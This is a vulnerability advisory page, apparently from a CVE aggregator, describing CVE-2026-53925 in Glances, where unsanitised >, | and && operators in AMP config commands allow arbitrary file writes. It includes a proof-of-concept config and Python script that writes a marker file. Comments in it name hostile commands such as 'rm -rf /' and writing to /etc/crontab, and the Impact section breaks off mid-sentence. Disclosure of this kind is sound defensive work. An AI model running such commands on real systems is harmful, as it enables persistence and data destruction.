🛡️ CVE-2026-53925 — glances
Description
Glances has arbitrary file write and command execution via secure_popen redirection and chaining operators in AMP command configuration
Summary
The secure_popen() function in glances/secure.py interprets > (file redirection), | (pipe), and && (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.
When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via >), chain arbitrary commands (via &&), or pipe command output to arbitrary programs (via |).
Crucially, this vulnerability is not mitigated by the --disable-config-exec flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in config.get_value(); it does not affect the secure_popen() function's interpretation of shell-like operators.
Details
Affected code path 1 — Default AMP (glances/amps/default/__init__.py:69)
```python
res = self.get('command')
# ...
self.set_result(secure_popen(res).rstrip())
```
The command config value is loaded from [amp_<name>] sections via GlancesAmp.load_config() (glances/amps/amp.py:81):
```python
self.configs[param] = config.get_value(amp_section, param).split(',')
```
Affected code path 2 — SystemV AMP (glances/amps/systemv/__init__.py:60)
```python
res = secure_popen(self.get('service_cmd'))
```
The service_cmd config value is loaded from [amp_systemv] sections via the same GlancesAmp.load_config() method.
Sink — secure_popen() (glances/secure.py:33-77)
The function explicitly parses:
>for file redirection (line 39):cmd.split('>')— the path after>is used directly inopen(stdout_redirect, "w")(line 71) with no path validation.|for command piping (line 51):cmd.split('|')— each segment is executed as a separatePopenwith stdout piped to the next.&&for command chaining (line 27 insecure_popen):cmd.split('&&')— each segment is executed sequentially.
None of these operators are sanitized or restricted when loading AMP configuration values.
Why --disable-config-exec does not help:
The --disable-config-exec flag (introduced for CVE-2026-33641) only prevents system_exec() from running backtick-embedded commands in config.get_value(). It does not affect how the resulting string value is processed by secure_popen(). A command value like echo data > /etc/crontab contains no backticks and passes through get_value() unchanged, then secure_popen() interprets the > operator and writes to the arbitrary path.
PoC
Clean-checkout recipe:
1. Create a test configuration file:
```bash
cat > /tmp/poc-glances.conf << 'EOF'
[amp_poc]
enable=true
regex=.*
refresh=3
command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp
[outputs]
cors_origins=*
EOF
```
2. Run a Python script that simulates the AMP command execution path:
```python
import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
from glances.secure import secure_popen
import os
# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)
config = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)
# Read AMP command value (same as amp.py load_config)
command = config.get_value('amp_poc', 'command')
print(f'Command: {command!r}')
# Execute (same as amps/default/__init__.py line 69)
marker = '/tmp/cve-poc-marker-amp'
assert not os.path.exists(marker), 'Clean state required'
result = secure_popen(command)
print(f'Result: {result!r}')
# Verify arbitrary file write occurred
assert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'
with open(marker) as f:
content = f.read()
print(f'Written to {marker}: {content!r}')
assert 'POC_ARBITRARY_FILE_WRITE' in content
# Cleanup
os.remove(marker)
print('CONFIRMED: Arbitrary file write via secure_popen > in AMP command')
```
Expected vulnerable output:
```
Command: 'echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp'
Result: 'POC_ARBITRARY_FILE_WRITE\n'
Written to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\n'
CONFIRMED: Arbitrary file write via secure_popen > in AMP command
```
Negative/control case (demonstrating --disable-config-exec only blocks backticks):
```python
# This IS blocked by --disable-config-exec:
# command=rm -rf / → get_value() skips backtick execution
# This is NOT blocked by --disable-config-exec:
# command=echo data > /etc/crontab → secure_popen writes to /etc/crontab
```
Cleanup:
```bash
rm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp
```
Impact
An attacker who can modify glances.conf (e.g., through a separate file-write vuln
How this vulnerability can be exploited
This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2026-53925 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
Affected software
CVE-2026-53925 is recorded against 2 packages.
- glances (from 4.0.8 up to 4.5.5)
- unknown
Timeline and source
Published on 23 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Advisory)
github.com (Package)
github.com (Web)
github.com (Web)
pypi.org (Web)
Details
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| glances | 4.0.8 | 4.5.5 |
| unknown | — | — |
References
Similar Threats
- High CVE-2026-46607
- High CVE-2026-46606
- High CVE-2026-46608
- Medium CVE-2026-46611
- High CVE-2026-34839
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is glances part of your stack?
CVE-2026-53925 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.